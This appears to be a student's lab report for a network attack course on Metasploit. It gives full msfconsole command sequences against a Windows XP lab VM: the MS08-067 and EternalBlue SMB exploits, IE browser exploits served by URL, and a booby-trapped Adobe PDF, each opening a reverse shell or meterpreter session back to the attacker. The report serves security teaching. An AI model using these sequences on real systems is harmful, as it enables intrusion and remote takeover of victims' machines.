2019-2020-2 网络对抗技术 20175213吕正宏 Exp6 MFS基础应用

一、实验相关内容

实验内容

本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:

  • 一个主动攻击实践,如ms08_067。

  • 一个针对浏览器的攻击,如ms11_050。

  • 一个针对客户端的攻击,如Adobe。

  • 成功应用任何一个辅助模块。

实验原理

1.MSF攻击方法

  • 主动攻击:扫描主机漏洞。

  • 攻击浏览器。

  • 供给客户端。

2.六个模块

  • 渗透攻击模块Exploit

    • 是利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问权的代码组件。
  • 辅助模块Auxiliary

    • 能够帮助渗透测试中在进行渗透攻击之前得到的目标系统丰富的情报信息,从而发起更具目标性的精准攻击。

    • 主要包括针对各种网络服务的扫描和查点、构建虚假服务收集登录密码、口令猜测破解、敏感信息嗅探、探查敏感信息泄露、Fuzz测试发掘漏洞、实施网络协议欺骗等模块。

  • 攻击载荷Payload

    • 是在渗透成功后促使目标系统运行的一端植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接。实际上,该模块就是计算机集成的针对不同操作系统实现shellcode攻击的ruby代码。

    • 三种payload :Single,Stager,Stages。

  • 空字段模块Nop

    • 是一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令,最典型的空指令就是空操作,在X86 CPU体系架构平台上的操作码是0x90,便于快速确定返回地址的位置。
  • 编码模块Encoders

    • 针对payload进行编码,可以通过多种编码手段、多次编码方式有效的改变payload代码特征。
  • 后渗透攻击模块Post

    • 支持在渗透攻击取得目标系统远程控制权之后,在受控系统中进行给各样的后渗透攻击动作。

3.MSF的三种用户操作界面

  • msfconsole

    • 查看模块的具体信息info [exploits|auxiliary|post|payloads|encoders|nops]

    • 查看设置信息show [options]

    • 查看攻击目标类型show [target]

    • 查找命令search

    • 查找2018年产生的在windows平台下的漏洞search ms18(或CNE:2018) type:exploit platform:windows

  • armitage

    • 启动服务器service postgresql start

    • 启动armitagearmitage

  • webgui

基础问题回答

问题1:用自己的话解释什么是exploit,payload,encode

回答:

  • exploit:既可以看成是运载恶意代码的载体,也可以理解成利用漏洞进行攻击的通道。类似于攻击的执行方。

  • payload:载荷是攻击的具体武器,每次都要进行设置。或者通俗来时就是用来攻击的“工具人”。

  • encode:用来编码,用于伪装。

问题2:离实战还缺些什么技术或步骤?

回答:

  • 我认为离实战还是很遥远的,毕竟这些操作都是在靶机的防火墙在关闭状态下进行,所以我们要做的还有如何真正的绕过用户的防火墙及各种杀软进行操作。

二、实验步骤

实验开始前,要保证两台虚拟机(我的是Kali和WinXP)可以相互ping通,但在ping的过程中,发现出现以下的错误。

经过查阅资料,发现是WinXP虚拟机在之前做其他实验时,设置过IPSEC。 在"计算机管理"的"服务"中找到"IPSEC Services"服务项 默认是启动状态,将其停用即可。下面是ping通好的截图。

1. 一个主动攻击的实践

ms08-067(成功)

攻击机:kali 192.168.111.130
靶机:Windows XP 192.168.111.131
  • 攻击机使用命令nmap -sS -A --script=smb-vuln-ms08-067 -PO 192.168.111.131 探测靶机是否存在该漏洞

  • 启动msf控制台msfconsole。使用命令search ms08-067 查看漏洞的渗透模块。

  • use exploit/windows/smb/ms08_067_netapi 进入该模块,并用show payloads 显示有效的攻击载荷。

  • 使用命令set payload generic/shell_reverse_tcp设置攻击的载荷。

  • show options 可以查看到进行攻击需要设置的参数,Required 的列表下标记为yes的为必须设置的项。

  • 设置攻击机IP和靶机IP:set LHOST 192.168.111.130set RHOST 192.168.111.131

  • exploit进行攻击。但出现了点问题。

突然出现了让人闹心的是最后一句话“Exploit completed, but no session was created”,无法返回shell,我尝试了好多方法,更换靶机操作系统,更换metasploit版本,无论怎么折腾都不行,最后从书上找到答案,靶机要使用windows xp sp2英文版本的,重要事情要说三遍“英文版”、“英文版”、“英文版”。因为我使用的XP虚拟机是上学期李东东老师给的,参考同学的博客后,在exploit/windows/smb/ms08_067_netapi 模块中使用show targets 指令查看满足要求的靶机,我的靶机的版本是Windows XP SP3 Prefession ,在符合条件的中文版中并没有专业版的虚拟机。所以才会显示攻击成功但会话被拒绝。

在更换完虚拟机后,果然成功返回了shell。至于其他系统,尤其中文版的,我就不知道怎么搞了。

ms17-010(失败)

攻击机:kali 192.168.111.130
靶机:Windows XP 192.168.111.131
  • 攻击机使用nmap -sS -A --script=smb-vuln-ms17-010 -PO 192.168.111.131 探测靶机是否存在该漏洞。

  • search ms17-010 查看漏洞的渗透模块。

  • use exploit/windows/smb/ms17_010_eternalblue 进入该模块并使用命令show payloads 显示有效的攻击载荷。

  • set payload generic/shell_reverse_tcp设置攻击的载荷。

  • 设置攻击机IP和靶机IP:set LHOST 192.168.111.130set RHOST 192.168.111.131

  • exploit 进行永恒之蓝漏洞攻击。

  • 在对永恒之蓝漏洞进行攻击后,虽然可以扫描到漏洞,但却出现失败的情况,且靶机都会出现自动重启的情况。在查阅了同学的博客发现他也出现和我一样的情况,并且知道了自动重启是因为Triggering free of corrupted buffer这句指令。猜测可能是这个漏洞已经进行了修复。

2.一个针对浏览器的攻击

ms10-018(未成功)/ ms14-064(成功,唯一)

攻击机:kali 192.168.111.130
靶机:Windows XP 192.168.111.131
  • search ms10-018 查看漏洞的渗透模块。

  • use exploit/windows/browser/ms10_10_018_ie_behaviors 进入该模块,set payload windows/meterpreter/reverse_tcp设置攻击的载荷。

  • 设置参数。
set LHOST 192.168.111.130  //设置攻击机IP
set RHOST 192.168.111.131  //设置靶机IP(可以不进行设置)
set LPORT 5213  //设置攻击机端口
set SRVHOST 192.168.111.130  //设置服务器IP
show options

  • exploit 生成了一个网址,我们将这个网址复制到靶机的浏览器中,然后可以在攻击机中观察到攻击成功的过程。

  • 但是在xp访问该网站时,msf显示ie不支持,攻击失败。

  • 后来我决定试试ms14-064,msf中使用use exploit/windows/browser/ms14_064_ole_code_execution选择攻击模块。

  • 设置好攻击机的IP与端口,使用的载荷等信息,然后开始攻击。在xp中打开生成的url,可以在kali中看到创建了一个链接,发现终于回连成功。

  • 使用ctrl+c退出当前状态,通过sessions -i 1获取第一个会话。使用ipconfig查看靶机地址。发现攻击的是xp主机,攻击终于成功。

  • 输入shell即可获取靶机终端。

3.一个针对客户端的攻击

Adobe(成功,不唯一)

攻击机:kali 192.168.111.130
靶机:Windows XP 192.168.111.131
  • search adobe 查询针对adobe的攻击模块。

  • use exploit/windows/fileformat/adobe_cooltype_sing 进入该模块并show payloads 显示有效的攻击载荷。

  • set payload windows/meterpreter/reverse_tcp设置攻击的载荷。

  • 设置参数
set FILENAME 20175213lzh.pdf
set LHOST 192.168.111.130
set RHOST 192.168.111.131
set LPORT 5213
exploit

  • 生成的文件存储到/root/.msf4/local 路径中,需要将文件拖拽到靶机中,由于root文件夹是权限文件夹,不能直接打开,所以我们预先通过命令行将文件复制到主目录下cp /root/.msf4/local/20175213lzh.pdf /home/kali

  • 将生成的文件拖拽到靶机之中(可以先拖到主机,再从主机拖到XP上),然后back 指令退出当前模块,进入监听模块。
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.111.130
set LPORT 5213
exploit

  • 在靶机中打开生成的文件,在攻击机中可以看到已经获得了连接,并且能够正常运行。

  • 但如果靶机中关闭文件,kali中会显示任务被拒绝。

4.成功应用任何一个辅助模块

smb_version(成功,不唯一)

  • 功能:使用smb_version模块对目标主机的系统版本进行探测

  • 进入模块:use auxiliary/scanner/smb/smb_version

  • 查看需要的参数:show options

  • 填写参数。

  • 执行:exploit

三、心得体会

虽然这次实验总体不难,但是很繁琐,都是在重复重复相同的步骤。但好在这一次实验中碰到的问题都能得到有效及时的解决,没有占用太多时间,也有更多的时间其查阅,总结资料,也对msf的功能有了更深的理解。希望以后的实验能收获更多。